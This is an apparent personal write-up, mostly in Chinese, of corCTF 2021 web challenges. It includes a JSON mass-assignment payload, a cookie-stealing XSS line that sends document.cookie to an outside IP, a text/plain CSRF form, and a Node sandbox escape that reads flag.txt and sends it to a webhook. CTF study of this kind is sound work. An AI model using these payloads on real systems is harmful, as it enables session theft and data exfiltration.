corCTF 2021

web

an ex-google, ex-facebook tech lead recommended me this book!

nodejs

devme

image-20210823180858928

学到了!

https://graphql.cn/

一种用于 API 的查询语言

GraphQL 既是一种用于 API 的查询语言也是一个满足你数据查询的运行时。 GraphQL 对你的 API 中的数据提供了一套易于理解的完整描述,使得客户端能够准确地获得它需要的数据,而且没有任何冗余,也让 API 更容易地随着时间推移而演进,还能用于构建强大的开发者工具。

image-20210823193723647

buyme

知识点:nodejs小trick

I made a new site to buy flags! But no hoarding, okay :

image-20210823181011469

*hbs*是Express提供的默认视图引擎

首先:
就几个路由:

/buy

image-20210823190632959

db.buyFlag({ user: req.user, ...req.body });

调用db.buyFlag使用扩展运算符 ...req.body,但在设置用户属性后使用。这允许用户属性被 的内容覆盖req.bodyreq.body只是请求体,所以我们可以任意设置用户。

大佬:

https://tplant.com.au/blog/corctf-2021/#webbuyme

啥意思呢:
就是:我们设置用户后! 但可以req.body! 通过req.body 去覆盖原来用户的数据!

payload

application/json
{
"flag": "corCTF",
"user": {
"user":"a",
"money":1e+700,
"flags":[]
}
}

image-20210823192125124

image-20210823192622173

phpme

image-20210823194211559

<?php
include "secret.php";

// https://stackoverflow.com/a/6041773
function isJSON($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
$json = json_decode($body, true);
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
echo "<script>\n";
echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
echo "</script>\n";
}
else {
echo "nope :)";
}
}
else {
echo "not json bro";
}
}
else {
echo "ur not admin!!!";
}
}
else {
show_source(__FILE__);
}
?>

vps上xss.php

<script>document.location='http://47.94.0.250/cookie.php?cookie='+document.cookie;</script>

image-20210823202737176

感觉这题有点笨笨!啥呀!😖😖😖😖

vps上方放

payload

<body>

<form id="f" enctype='text/plain' action="https://phpme.be.ax/" method="POST">
<input
name='{"yesp":"'
value='a","yep":"yep yep yep","url":"https://webhook.site/31d1e4a0-1abe-4fe8-8dd9-b7fedf6387db/"}'>
<input type="submit">
</form>
<script>f.submit()</script>
</body>

drinkme

ssti!

app.secret_key = b'537472656c6c6963206973206d79206661766f72697465206d656d626572206f6620436f52' # Don't bother trying to exploit - this is just to get flash() to work because I'm too lazy to make proper error messages

可以随意上传文件! 但是怎么ssti呢!

不懂!一开始以为就是上传个模板可以解析呢!

但是代码里也就只有上传功能! 试了试!果然就只能上传,没啥用了!

不知道 干啥了!😣😣😣

image-20210824200521789

image-20210824200539560

readme

<!DOCTYPE html>
<html>
<body>
<h1>pls summarize this</h1>
<h1>pls summarize this</h1>
<h1>pls summarize this</h1>
<h1>pls summarize this</h1>
<h1>pls summarize this</h1>
<button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
</body>
</html>

image-20210825104102632

mathme

image-20210825105302773

image-20210825110623275

我我我我!直接0day!这也太猛了把!😒😒😒

就是只要是admin就可以了! 就行不知道怎么变成admin!

好难呀!这些题!晕了! 回去玩buu去了!太难了!

大佬

https://blog.brycec.me/posts/corctf_2021_challenges/#readme

https://tplant.com.au/blog/corctf-2021/#webbuyme